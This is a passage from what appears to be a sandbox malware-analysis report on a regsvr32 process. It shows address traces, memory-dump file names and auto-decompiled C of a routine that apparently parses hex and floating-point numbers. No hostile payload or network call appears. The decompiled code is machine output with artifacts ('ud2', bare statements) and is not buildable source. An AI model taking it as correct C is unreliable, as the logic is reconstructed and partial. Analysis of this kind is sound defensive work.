0x00000000
0x004193ff
0x004193ff
0x004193ff
0x004193fd
0x0041940d
0x00419413
0x00000000
0x00419415
0x00419415
0x00419415
0x00419413
0x00419427
0x00419427
0x0041942b
0x0041942f
0x00419433
0x00419435
0x00419438
0x0041943b
0x00419490
0x00419490
0x00419497
0x00000000
0x0041943d
0x0041943d
0x00419441
0x00419444
0x00419447
0x00419470
0x00419473
0x00419449
0x00419449
0x0041944d
0x0041944f
0x00419451
0x00000000
0x00419453
0x00419455
0x0041945b
0x0041945e
0x0041945e
0x00419451
0x00419479
0x0041947e
0x00000000
0x00419480
0x00419480
0x00419340
0x00419340
0x00419343
0x00419343
0x00419346
0x00419348
0x00000000
0x00419348
0x0041947e
0x0041943b
0x00419433
0x0041949e
0x004194a1
0x004194a3
0x004194a7
0x004194ad
0x004194b1
0x004194b1
0x004194b1
0x004194b4
0x00000000
0x004194b4
0x0041934b
0x00419338
0x004192bd
0x004194b7
0x004194b7
0x00419561
0x00419561
0x00419561
0x00419564
0x00419566
0x00419569
0x0041956e
0x00000000
0x00000000
0x00419574
0x00419577
0x0041957a
0x00419590
0x00419593
0x0041957c
0x00419580
0x00419583
0x00000000
0x00419585
0x00419585
0x00419585
0x00419583
0x00419596
0x00419599
0x0041959b
0x004195a0
0x004195a0
0x004195a4
0x004195a8
0x004195ab
0x004195ae
0x004195b4
0x004195b7
0x004195ba
0x004195d0
0x004195d3
0x004195bc
0x004195c0
0x004195c3
0x00000000
0x004195c5
0x004195c5
0x004195c5
0x004195c3
0x004195d6
0x004195d9
0x004195db
0x004195e0
0x004195e0
0x004195e0
0x004195e4
0x004195e6
0x004195ec
0x004195f0
0x004195f2
0x004195f5
0x004195f8
0x00419630
0x00419630
0x004195fa
0x004195fe
0x00419601
0x00419604
0x00419614
0x00419617
0x00419606
0x0041960a
0x0041960d
0x00000000
0x0041960f
0x0041960f
0x0041960f
0x0041960d
0x0041961d
0x00419623
0x00000000
0x00419625
0x00419625
0x00419625
0x00419623
0x00419637
0x00419637
0x0041963b
0x0041963f
0x00419642
0x00419650
0x00419650
0x00419654
0x00419658
0x0041965b
0x00000000
0x00000000
0x00419661
0x00419664
0x00000000
0x00419666
0x00000000
0x00419666
0x00419c48
0x00419c4f
0x00419c53
0x00419c57
0x00419c5b
0x00419c5f
0x00419c63
0x00419c66
0x00419c6a
0x00419c6e
0x00419c70
0x00419c77
0x00419c7d
0x00419c7f
0x00419c7f
0x00419c83
0x00419c83
0x00419c88
0x00419c9d
0x00000000
0x00419c9d
0x004194c7
0x004194ca
0x004194ce
0x004194d4
0x004194d8
0x004194e4
0x004194e8
0x004194ed
0x004194f1
0x004194f1
0x004194f1
0x004194f4
0x004194f7
0x004194fa
0x00419550
0x00419550
0x00419557
0x004194fc
0x004194fc
0x00419500
0x00419503
0x00419506
0x00419530
0x00419533
0x00419508
0x00419508
0x0041950c
0x0041950e
0x00419510
0x00000000
0x00419512
0x00419514
0x0041951a
0x0041951d
0x0041951d
0x00419510
0x00419539
0x0041953e
0x00000000
0x00419540
0x00419540
0x00419540
0x0041953e
0x00419559
0x0041955c
0x0041955e
0x00000000
0x0041955e
0x004194ce
0x0041966b
0x0041966f
0x00419673
0x00419681
0x00419684
0x00419686
0x00419689
0x0041968e
0x00419692
0x00419695
0x0041969b
0x0041969e
0x004196a1
0x004196b1
0x004196b4
0x004196b7
0x004196bb
0x004196be
0x004196a3
0x004196a7
0x004196aa
0x00000000
0x004196ac
0x004196ac
0x004196ac
0x004196aa
0x004196c2
0x004196c5
0x004196c7
0x004196cc
0x004196cc
0x004196cc
0x004196d4
0x004196d7
0x004196da
0x004196e0
0x004196e3
0x004196e6
0x004196f6
0x004196f9
0x004196fc
0x00419700
0x00419703
0x004196e8
0x004196ec
0x004196ef
0x00000000
0x004196f1
0x004196f1
0x004196f1
0x004196ef
0x00419707
0x0041970a
0x0041970c
0x00419711
0x00419711
0x00419711
0x00419715
0x00419717
0x0041971d
0x00419721
0x00419723
0x00419726
0x00419729
0x0041976f
0x0041976f
0x0041972b
0x0041972f
0x00419732
0x00419735
0x0041974d
0x00419750
0x00419753
0x00419757
0x0041975a
0x00419737
0x0041973b
0x0041973e
0x00000000
0x00419740
0x00419740
0x00419740
0x0041973e
0x00419761
0x00419767
0x00000000
0x00419769
0x00419769
0x00419769
0x00419767
0x00419776
0x00419776
0x0041977a
0x0041977e
0x00419782
0x0041978e
0x0041978e
0x00419792
0x00419795
0x00419798
0x004197fa
0x004197fa
0x00419801
0x00000000
0x0041979a
0x0041979a
0x0041979e
0x004197a1
0x004197a4
0x004197c0
0x004197c3
0x004197c6
0x004197a6
0x004197a6
0x004197aa
0x004197ac
0x004197ae
0x00000000
0x004197b0
0x004197b2
0x004197b8
0x004197bb
0x004197bb
0x004197ae
0x004197cd
0x004197d2
0x00000000
0x004197d4
0x004197d4
0x004197d7
0x004197db
0x004197de
0x00419805
0x00419805
0x004197e0
0x004197e4
0x004197e7
0x004197ea
0x00419809
0x0041980c
0x0041980f
0x004197ec
0x004197f0
0x004197f3
0x00000000
0x004197f5
0x004197f5
0x004197f5
0x004197f3
0x00419816
0x00419818
0x0041981d
0x0041981d
0x0041981d
0x004197de
0x004197d2
0x00419825
0x00419828
0x0041982b
0x00419861
0x00419861
0x0041982d
0x00419831
0x00419834
0x00419837
0x00419847
0x0041984a
0x0041984d
0x00419839
0x0041983d
0x00419840
0x00000000
0x00419842
0x00419842
0x00419842
0x00419840
0x00419856
0x0041985c
0x0041985c
0x00419863
0x00419867
0x00419869
0x0041986f
0x00419873
0x00419875
0x00419878
0x0041987b
0x004198b2
0x004198b2
0x0041987d
0x00419881
0x00419884
0x00419887
0x00419897
0x0041989a
0x0041989d
0x00419889
0x0041988d
0x00419890
0x00000000
0x00419892
0x00419892
0x00419892
0x00419890
0x004198a4
0x004198aa
0x00000000
0x004198ac
0x004198ac
0x004198ac
0x004198aa
0x004198b9
0x004198b9
0x004198bd
0x004198c1
0x004198c5
0x004198f2
0x004198f6
0x004198f8
0x004198fd
0x00419900
0x00419903
0x00000000
0x00419905
0x00419905
0x00419909
0x0041990c
0x0041990f
0x0041992b
0x0041992e
0x00000000
0x00419911
0x00419911
0x00419915
0x00419917
0x00419919
0x00000000
0x00000000
0x00000000
0x00000000
0x00419919
0x00000000
0x0041990f
0x00000000
0x00419903
0x004198c7
0x004198c7
0x004198cc
0x004198cf
0x004198d2
0x00419943
0x00419943
0x0041994a
0x004198d4
0x004198d4
0x004198d8
0x004198db
0x004198de
0x004198ea
0x004198ed
0x00419931
0x00419931
0x004198e0
0x004198e0
0x004198e4
0x004198e6
0x004198e8
0x0041991b
0x0041991d
0x00419923
0x00419926
0x00000000
0x00000000
0x00000000
0x004198e8
0x00419935
0x00419938
0x0041993d
0x00000000
0x0041993f
0x0041993f
0x0041993f
0x0041993d
0x0041994c
0x0041994c
0x0041994c
0x00419950
0x00419953
0x00419953
0x004198c5
0x00419966
0x00419966
0x00419969
0x0041996c
0x00419971
0x00000000
0x00000000
0x00419977
0x0041997a
0x0041997d
0x00419990
0x00419993
0x0041997f
0x00419983
0x00419986
0x00000000
0x00419988
0x00419988
0x00419988
0x00419986
0x00419999
0x0041999b
0x004199a0
0x004199a0
0x004199a4
0x004199a8
0x004199ab
0x004199ae
0x00419a10
0x00419a12
0x00000000
0x00000000
0x00419a14
0x004199b0
0x004199b4
0x004199b7
0x004199ba
0x004199ca
0x004199cd
0x004199bc
0x004199c0
0x004199c3
0x00000000
0x004199c5
0x004199c5
0x004199c5
0x004199c3
0x004199de
0x004199e0
0x004199e6
0x004199e6
0x004199ea
0x004199ec
0x004199ef
0x004199f2
0x00419a30
0x00419a30
0x004199f4
0x004199f8
0x004199fb
0x004199fe
0x00419a19
0x00419a1c
0x00419a00
0x00419a04
0x00419a07
0x00000000
0x00419a09
0x00419a09
0x00419a09
0x00419a07
0x00419a22
0x00419a28
0x00000000
0x00419a2a
0x00419a2a
0x00419a2a
0x00419a28
0x00419a37
0x00419a37
0x00419a3f
0x00419a43
0x00419a45
0x00419a48
0x00419a4b
0x00419a90
0x00419a90
0x00419a97
0x00000000
0x00419a4d
0x00419a4d
0x00419a51
0x00419a54
0x00419a57
0x00419a73
0x00419a76
0x00419a59
0x00419a59
0x00419a5d
0x00419a5f
0x00419a61
0x00000000
0x00419a63
0x00419a65
0x00419a6b
0x00419a6e
0x00419a6e
0x00419a61
0x00419a7c
0x00419a81
0x00000000
0x00419a83
0x00419a83
0x00419960
0x00419960
0x00419963
0x00000000
0x00419963
0x00419b3f
0x00419b3f
0x00419b3f
0x00419b42
0x00419b45
0x00419b4a
0x00000000
0x00000000
0x00419b50
0x00419b53
0x00419b56
0x00419b66
0x00419b69
0x00419b58
0x00419b5c
0x00419b5f
0x00000000
0x00419b61
0x00419b61
0x00419b61
0x00419b5f
0x00419b6f
0x00419b71
0x00419b76
0x00419b76
0x00419b7a
0x00419b7e
0x00419b81
0x00419b84
0x00419be4
0x00419be6
0x00419be8
0x00000000
0x00000000
0x00419bea
0x00419b86
0x00419b8a
0x00419b8d
0x00419b90
0x00419ba0
0x00419ba3
0x00419b92
0x00419b96
0x00419b99
0x00000000
0x00419b9b
0x00419b9b
0x00419b9b
0x00419b99
0x00419bab
0x00419bb1
0x00419bb6
0x00419bbc
0x00419bbc
0x00419bc0
0x00419bc2
0x00419bc5
0x00419bc8
0x00419c03
0x00419c03
0x00419bca
0x00419bce
0x00419bd1
0x00419bd4
0x00419bec
0x00419bef
0x00419bd6
0x00419bda
0x00419bdd
0x00000000
0x00419bdf
0x00419bdf
0x00419bdf
0x00419bdd
0x00419bf5
0x00419bfb
0x00000000
0x00419bfd
0x00419bfd
0x00419bfd
0x00419bfb
0x00419c0a
0x00419c0a
0x00419c0e
0x00419c12
0x00419c15
0x00419c20
0x00419c20
0x00419c24
0x00419c28
0x00419c2b
0x00000000
0x00000000
0x00419c31
0x00419c34
0x00000000
0x00419c36
0x00000000
0x00419c36
0x00000000
0x00419c34
0x00419ac7
0x00419aca
0x00419ace
0x00419ad4
0x00419ad8
0x00419ae4
0x00419ae8
0x00419aeb
0x00419aeb
0x00419aeb
0x00419aee
0x00419af1
0x00419af4
0x00419b30
0x00419b30
0x00419b37
0x00419af6
0x00419af6
0x00419afa
0x00419afd
0x00419b00
0x00419b1c
0x00419b1f
0x00419b02
0x00419b02
0x00419b06
0x00419b08
0x00419b0a
0x00000000
0x00419b0c
0x00419b0c
0x00419b0e
0x00419b14
0x00419b17
0x00419b17
0x00419b0a
0x00419b25
0x00419b2a
0x00000000
0x00419b2c
0x00419b2c
0x00419b2c
0x00419b2a
0x00419b39
0x00419b3c
0x00000000
0x00419b3c
0x00419ace
0x00419bb6
0x00419c3b
0x00419c3f
0x00419c42
0x00419c45
0x00000000
0x00419c45
0x00419b3f
0x00000000
0x00419a4b
0x00419a43
0x004199e0
0x00419a9e
0x00419aa1
0x00419aa5
0x00419aa7
0x00419aa9
0x00419aae
0x00419aae
0x00419aae
0x00419ab1
0x00419ab4
0x00000000
0x00419ab4
0x00419784
0x00419784
0x00419788
0x00000000
0x00000000
0x00419788
0x00419782
0x00419675
0x00419675
0x00419679
0x00419679
0x00000000
0x00419673
0x00419561
0x00000000
0x00419280
0x00000000

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 00418821

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFabcdef-+XxPp
API String ID: 0-3606100449
Opcode ID: 727c2536fba454a9aa7939fd165a6c4057d38d373ed8a0ba8f5945e31bf8e4a6
Instruction ID: 2831603b09b6b7cff206dbe5e9364b1d435361241f0cc044fe266a123e8bb316
Opcode Fuzzy Hash: 727c2536fba454a9aa7939fd165a6c4057d38d373ed8a0ba8f5945e31bf8e4a6
Instruction Fuzzy Hash: 5E023976605A5489EB248F1AC4903BE3361EB44F88F68942BEE4E5B754DF3DC8C2D358

Uniqueness

Uniqueness Score: -1.00%

Function 004186C9 Relevance: 1.7, Strings: 1, Instructions: 482
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E004186C9(void* __rax, void* __rbx, signed int __rdx, signed int* __rdi, long long* __r8, long long __r9, void* __r12, void* __r13, void* __r14, void* __r15, intOrPtr _a12, intOrPtr _a14, intOrPtr _a16, intOrPtr _a18, intOrPtr _a20, intOrPtr _a22, long long _a32, char _a40, short _a48, long long _a64, long long _a72, signed int _a84, signed int _a88, void* _a96, signed int _a108, signed int _a112, intOrPtr _a224, signed int* _a232) {
				char _v32;
				char _v34;
				void* _v40;
				void* _v48;
				intOrPtr* _v56;
				long long _v64;
				char _v80;
				void* _v88;
				char _v192;
				void* _t415;
				void* _t416;
				void* _t423;
				signed int _t427;
				signed short _t430;
				signed short _t431;
				signed short _t433;
				signed short _t436;
				signed short _t438;
				signed short _t439;
				signed short _t442;
				signed short _t443;
				signed short _t445;
				signed int _t447;
				signed short _t448;
				signed short _t449;
				signed short _t451;
				signed short _t452;
				signed short _t454;
				signed short _t456;
				signed short _t458;
				signed short _t459;
				signed short _t460;
				signed short _t461;
				signed short _t462;
				signed short _t465;
				signed short _t466;
				signed short _t467;
				signed short _t468;
				signed short _t469;
				signed short _t470;
				signed short _t471;
				signed short _t475;
				signed short _t477;
				signed short _t478;
				signed short _t479;
				signed short _t481;
				signed short _t483;
				signed short _t485;
				signed short _t487;
				void* _t489;
				signed int _t492;
				signed short _t493;
				signed short _t494;
				signed short _t495;
				signed short _t496;
				signed int _t500;
				signed int _t501;
				signed short _t502;
				signed short _t503;
				signed short _t505;
				signed short _t506;
				signed short _t508;
				signed short _t510;
				signed short _t512;
				signed short _t513;
				signed short _t515;
				signed int _t517;
				signed short _t518;
				signed short _t519;
				signed short _t521;
				signed short _t522;
				signed short _t524;
				void* _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t541;
				signed short _t547;
				signed int _t548;
				void* _t549;
				signed int _t550;
				signed int _t551;
				signed int _t552;
				signed int _t553;
				signed int _t554;
				signed int _t555;
				void* _t557;
				signed int _t558;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				signed int _t565;
				signed int _t566;
				void* _t567;
				void* _t568;
				void* _t569;
				void* _t570;
				void* _t571;
				void* _t572;
				void* _t573;
				signed int _t574;
				signed int _t575;
				signed int _t576;
				signed int _t578;
				signed int _t580;
				signed int _t582;
				void* _t584;
				signed int _t585;
				signed int _t588;
				signed int _t590;
				signed int _t592;
				signed int _t593;
				void* _t595;
				signed int _t596;
				signed int _t598;
				signed int _t600;
				void* _t602;
				void* _t603;
				char _t708;
				intOrPtr* _t709;
				intOrPtr* _t711;
				intOrPtr* _t714;
				signed short* _t717;
				char* _t719;
				signed long long _t721;
				intOrPtr _t726;
				char* _t731;
				signed long long _t733;
				signed short* _t735;
				signed short** _t737;
				signed short* _t740;
				signed short* _t743;
				signed short* _t746;
				signed short** _t748;
				signed short* _t751;
				signed short* _t754;
				signed short** _t756;
				signed short* _t760;
				signed short* _t763;
				signed short** _t765;
				signed short* _t768;
				signed short* _t771;
				signed short* _t774;
				signed short* _t777;
				char* _t779;
				signed long long _t781;
				signed short* _t783;
				signed short** _t785;
				signed short* _t788;
				signed short* _t791;
				char* _t794;
				signed short* _t797;
				signed short** _t799;
				signed short* _t802;
				signed short* _t805;
				intOrPtr* _t807;
				signed short** _t809;
				signed short* _t812;
				signed short* _t815;
				signed short* _t818;
				char* _t820;
				signed int _t821;
				signed short* _t823;
				signed short** _t825;
				signed short* _t828;
				signed short* _t831;
				signed short* _t833;
				intOrPtr _t834;
				void* _t837;
				long long _t838;
				intOrPtr* _t839;
				signed short* _t842;
				long long* _t844;
				signed int _t848;
				void* _t851;
				signed int _t854;
				signed short** _t857;
				signed short* _t860;
				signed short* _t865;
				signed short** _t867;
				signed short* _t871;
				signed short* _t874;
				signed short* _t877;
				intOrPtr* _t879;
				intOrPtr* _t880;
				void* _t882;
				long long* _t883;
				intOrPtr* _t887;
				intOrPtr* _t889;
				intOrPtr* _t891;
				intOrPtr* _t893;
				intOrPtr* _t895;
				intOrPtr* _t896;
				intOrPtr* _t897;
				intOrPtr* _t898;
				intOrPtr* _t899;
				intOrPtr* _t900;
				intOrPtr* _t902;
				intOrPtr* _t903;
				intOrPtr* _t904;
				intOrPtr* _t905;
				intOrPtr* _t906;
				intOrPtr* _t907;
				intOrPtr _t908;
				intOrPtr* _t909;
				intOrPtr* _t910;
				intOrPtr* _t911;
				intOrPtr* _t912;
				intOrPtr* _t913;
				intOrPtr* _t914;
				intOrPtr* _t916;
				intOrPtr* _t919;
				intOrPtr* _t920;
				intOrPtr* _t922;
				intOrPtr* _t923;
				intOrPtr* _t925;
				intOrPtr* _t926;
				intOrPtr* _t927;
				intOrPtr* _t929;
				intOrPtr* _t931;
				char* _t934;
				intOrPtr* _t936;
				intOrPtr* _t937;
				intOrPtr* _t938;
				intOrPtr* _t939;
				intOrPtr* _t941;
				intOrPtr* _t944;
				intOrPtr* _t946;
				char* _t948;
				intOrPtr* _t950;
				intOrPtr* _t952;
				intOrPtr* _t953;
				intOrPtr* _t954;
				intOrPtr _t955;
				char* _t956;
				signed long long _t958;
				void* _t960;
				intOrPtr _t963;
				intOrPtr _t964;
				intOrPtr* _t966;
				char* _t970;
				intOrPtr* _t972;
				intOrPtr* _t974;
				intOrPtr* _t975;
				intOrPtr* _t976;
				intOrPtr* _t978;
				intOrPtr* _t979;
				intOrPtr* _t981;
				intOrPtr* _t982;
				intOrPtr* _t984;
				intOrPtr* _t985;
				intOrPtr* _t988;
				signed int _t989;
				signed short* _t992;
				signed short* _t996;
				signed short* _t1000;
				signed short* _t1003;
				signed short* _t1008;
				signed short* _t1012;
				signed short* _t1016;
				signed short* _t1020;
				signed short* _t1029;
				signed short* _t1030;
				signed short* _t1033;
				signed short* _t1038;
				signed int* _t1044;
				signed int* _t1046;
				signed int* _t1047;
				signed int* _t1048;
				signed int* _t1049;
				signed int* _t1050;
				signed int* _t1051;
				intOrPtr* _t1052;
				signed int* _t1053;
				signed int* _t1054;
				signed int _t1055;
				void* _t1056;
				intOrPtr _t1057;
				intOrPtr* _t1058;
				long long _t1060;
				signed short* _t1062;
				intOrPtr* _t1063;
				char* _t1064;
				void* _t1068;
				long long* _t1071;
				signed int _t1073;
				signed int _t1076;
				long long _t1077;
				void* _t1079;
				void* _t1080;
				intOrPtr* _t1081;
				long long _t1082;
				char* _t1083;
				signed int _t1085;
				char* _t1086;
				void* _t1087;
				void* _t1088;
				char* _t1090;
				void* _t1091;
				signed int _t1092;
				char* _t1093;
				long long _t1094;
				signed int _t1096;
				void* _t1097;
				short* _t1098;
				long long _t1101;
				long long _t1102;

				_t1097 = __r15;
				_t1091 = __r14;
				_t1088 = __r13;
				_t1080 = __r12;
				_t1077 = __r9;
				_t1071 = __r8;
				_t1044 = __rdi;
				_t989 = __rdx;
				_t882 = __rbx;
				_t415 = E00401F90(_t531, _t549, _t603, __rax, __rax, __rdx, __r8);
				asm("ud2");
				_t1056 = __rax;
				_t708 = _v32;
				if(_t708 >= 0x10) {
					_t988 = _v56;
					if(_t708 + 1 >= 0x1000) {
						_t988 =  *((intOrPtr*)(_t988 - 8));
					}
					_t415 = E00402090(_t415, _t988);
				}
				_t416 = E0044CEA0(_t415, _t1056);
				asm("ud2");
				_t709 =  *_t1063;
				 *_t709 =  *_t709 + _t416;
				 *_t709 =  *_t709 + _t416;
				0;
				0;
				_t1064 =  &_v192;
				_a96 = _t1077;
				_t883 = _t1071;
				_t1092 = _t989;
				_t1057 = _a224;
				_t887 =  *((intOrPtr*)( *((intOrPtr*)(_t1057 + 0x40))));
				_v32 = _t887;
				_t711 =  *_t887;
				 *((intOrPtr*)(_t711 + 0x10))(_t882, _t1044, _t1056, _t1080, _t1088, _t1091, _t1097, _t1063, _t1068);
				E00412FF0(_t530, _t549, _t557, _t602,  &_v32, _t1071, _t1077, _t1079, _t1080, _t1088, _t1092, _t1097);
				_t1081 = _t711;
				_t889 = _v32;
				if(_t889 != 0) {
					_t880 =  *_t889;
					 *((intOrPtr*)(_t880 + 0x18))();
					if(_t880 != 0) {
						 *((intOrPtr*)( *_t880 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1081 + 0x30))();
				_t891 =  *((intOrPtr*)( *((intOrPtr*)(_t1057 + 0x40))));
				_a40 = _t891;
				_t714 =  *_t891;
				 *((intOrPtr*)(_t714 + 0x10))();
				E004119C0(_t530, _t549, _t557, _t602,  &_a40, _t1071, _t1077, _t1079, _t1092);
				_t1058 = _t714;
				_t893 = _a40;
				if(_t893 != 0) {
					_t879 =  *_t893;
					 *((intOrPtr*)(_t879 + 0x18))();
					if(_t879 != 0) {
						 *((intOrPtr*)( *_t879 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1058 + 0x68))();
				_t895 =  *_t883;
				_t568 = 0;
				_t558 = 0;
				if(_t895 != 0) {
					_t877 =  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x38))));
					if(_t877 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x50)))) <= 0) {
						_t524 =  *((intOrPtr*)( *_t895 + 0x38))();
					} else {
						_t524 =  *_t877 & 0x0000ffff;
					}
					_t558 = 0;
					dil = (_t524 & 0x0000ffff) != 0xffff;
				}
				_t896 =  *_a96;
				if(_t896 != 0) {
					_t874 =  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x38))));
					if(_t874 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x50)))) <= 0) {
						_t522 =  *((intOrPtr*)( *_t896 + 0x38))();
					} else {
						_t522 =  *_t874 & 0x0000ffff;
					}
					_t568 = 0;
					sil = (_t522 & 0x0000ffff) != 0xffff;
				}
				_t1098 = _t1092;
				if(_t558 != _t568) {
					if( *(_t883 + 8) == 0) {
						_t985 =  *_t883;
						if(_t985 == 0) {
							L35:
							 *_t883 = 0;
						} else {
							_t871 =  *((intOrPtr*)( *((intOrPtr*)(_t985 + 0x38))));
							if(_t871 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t985 + 0x50)))) <= 0) {
								_t521 =  *((intOrPtr*)( *_t985 + 0x38))();
							} else {
								_t521 =  *_t871 & 0x0000ffff;
							}
							_t531 = _t521 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L35;
							} else {
								 *(_t883 + 0xa) = _t521;
							}
						}
						 *(_t883 + 8) = 1;
					}
					_t517 =  *(_t883 + 0xa) & 0x0000ffff;
					if(_t517 != _a14) {
						__eflags = _t517 - _a12;
						_t1098 = _t1092;
						if(_t517 == _a12) {
							 *_t1092 = 0x2d;
							_t982 =  *_t883;
							__eflags = _t982;
							if(_t982 == 0) {
								goto L50;
							} else {
								_t867 =  *((intOrPtr*)(_t982 + 0x38));
								_t1038 =  *_t867;
								__eflags = _t1038;
								if(_t1038 == 0) {
									L47:
									_t519 =  *((intOrPtr*)( *_t982 + 0x40))();
								} else {
									_t1044 =  *((intOrPtr*)(_t982 + 0x50));
									_t600 =  *_t1044;
									__eflags = _t600;
									if(_t600 <= 0) {
										goto L47;
									} else {
										goto L46;
									}
								}
								goto L48;
							}
							goto L51;
						}
					} else {
						 *_t1092 = 0x2b;
						_t984 =  *_t883;
						if(_t984 == 0) {
							L50:
							 *_t883 = 0;
							_t518 = 1;
						} else {
							_t867 =  *((intOrPtr*)(_t984 + 0x38));
							_t1038 =  *_t867;
							if(_t1038 == 0) {
								L41:
								_t519 =  *((intOrPtr*)( *_t984 + 0x40))();
							} else {
								_t1044 =  *((intOrPtr*)(_t984 + 0x50));
								_t600 =  *_t1044;
								if(_t600 > 0) {
									L46:
									 *_t1044 = _t600 - 1;
									 *_t867 =  &(_t1038[1]);
									_t519 =  *_t1038 & 0x0000ffff;
								} else {
									goto L41;
								}
							}
							L48:
							if((_t519 & 0x0000ffff) == 0xffff) {
								goto L50;
							} else {
								_t518 = 0;
							}
						}
						L51:
						_t1098 = _t1092 + 1;
						 *(_t883 + 8) = _t518;
					}
				}
				 *_t1098 = 0x7830;
				_t897 =  *_t883;
				_t569 = 0;
				_t559 = 0;
				if(_t897 != 0) {
					_t865 =  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x38))));
					if(_t865 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x50)))) <= 0) {
						_t515 =  *((intOrPtr*)( *_t897 + 0x38))();
					} else {
						_t515 =  *_t865 & 0x0000ffff;
					}
					_t559 = 0;
					dil = (_t515 & 0x0000ffff) != 0xffff;
				}
				_t717 = _a96;
				_t898 =  *_t717;
				if(_t898 != 0) {
					_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x38))));
					if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x50)))) <= 0) {
						_t717 =  *_t898;
						_t513 = _t717[0x1c]();
					} else {
						_t513 =  *_t717 & 0x0000ffff;
					}
					_t569 = 0;
					sil = (_t513 & 0x0000ffff) != 0xffff;
				}
				if(_t559 == _t569) {
					L119:
					_t559 = 0;
				} else {
					if( *(_t883 + 8) == 0) {
						_t981 =  *_t883;
						if(_t981 == 0) {
							L73:
							 *_t883 = 0;
						} else {
							_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t981 + 0x38))));
							if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t981 + 0x50)))) <= 0) {
								_t717 =  *_t981;
								_t512 = _t717[0x1c]();
							} else {
								_t512 =  *_t717 & 0x0000ffff;
							}
							_t531 = _t512 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L73;
							} else {
								 *(_t883 + 0xa) = _t512;
							}
						}
						 *(_t883 + 8) = 1;
					}
					if(( *(_t883 + 0xa) & 0x0000ffff) != _v32) {
						goto L119;
					} else {
						_t974 =  *_t883;
						if(_t974 == 0) {
							L86:
							 *_t883 = 0;
							 *(_t883 + 8) = 1;
							goto L87;
						} else {
							_t857 =  *((intOrPtr*)(_t974 + 0x38));
							_t1033 =  *_t857;
							if(_t1033 == 0) {
								L80:
								_t508 =  *((intOrPtr*)( *_t974 + 0x40))();
							} else {
								_t1044 =  *((intOrPtr*)(_t974 + 0x50));
								_t598 =  *_t1044;
								if(_t598 <= 0) {
									goto L80;
								} else {
									 *_t1044 = _t598 - 1;
									 *_t857 =  &(_t1033[1]);
									_t508 =  *_t1033 & 0x0000ffff;
								}
							}
							if((_t508 & 0x0000ffff) == 0xffff) {
								goto L86;
							} else {
								_t979 =  *_t883;
								 *(_t883 + 8) = 0;
								if(_t979 == 0) {
									L87:
									_t595 = 0;
								} else {
									_t860 =  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x38))));
									if(_t860 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x50)))) <= 0) {
										_t510 =  *((intOrPtr*)( *_t979 + 0x38))();
									} else {
										_t510 =  *_t860 & 0x0000ffff;
									}
									_t595 = 0;
									sil = (_t510 & 0x0000ffff) != 0xffff;
								}
							}
						}
						_t717 = _a96;
						_t975 =  *_t717;
						if(_t975 == 0) {
							_t500 = 0;
							__eflags = 0;
						} else {
							_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t975 + 0x38))));
							if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t975 + 0x50)))) <= 0) {
								_t717 =  *_t975;
								_t506 = _t717[0x1c]();
							} else {
								_t506 =  *_t717 & 0x0000ffff;
							}
							_t531 = _t506 & 0x0000ffff;
							_t500 = 0 | _t531 != 0x0000ffff;
						}
						dil = 1;
						if(_t595 != _t500) {
							if( *(_t883 + 8) == 0) {
								_t978 =  *_t883;
								if(_t978 == 0) {
									L106:
									 *_t883 = 0;
								} else {
									_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t978 + 0x38))));
									if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t978 + 0x50)))) <= 0) {
										_t717 =  *_t978;
										_t505 = _t717[0x1c]();
									} else {
										_t505 =  *_t717 & 0x0000ffff;
									}
									_t531 = _t505 & 0x0000ffff;
									if(_t531 == 0xffff) {
										goto L106;
									} else {
										 *(_t883 + 0xa) = _t505;
									}
								}
								 *(_t883 + 8) = 1;
							}
							_t501 =  *(_t883 + 0xa) & 0x0000ffff;
							if(_t501 == _a18 || _t501 == _a16) {
								_t976 =  *_t883;
								if(_t976 == 0) {
									L117:
									 *_t883 = 0;
									_t502 = 1;
								} else {
									_t717 =  *((intOrPtr*)(_t976 + 0x38));
									_t1030 =  *_t717;
									if(_t1030 == 0) {
										L114:
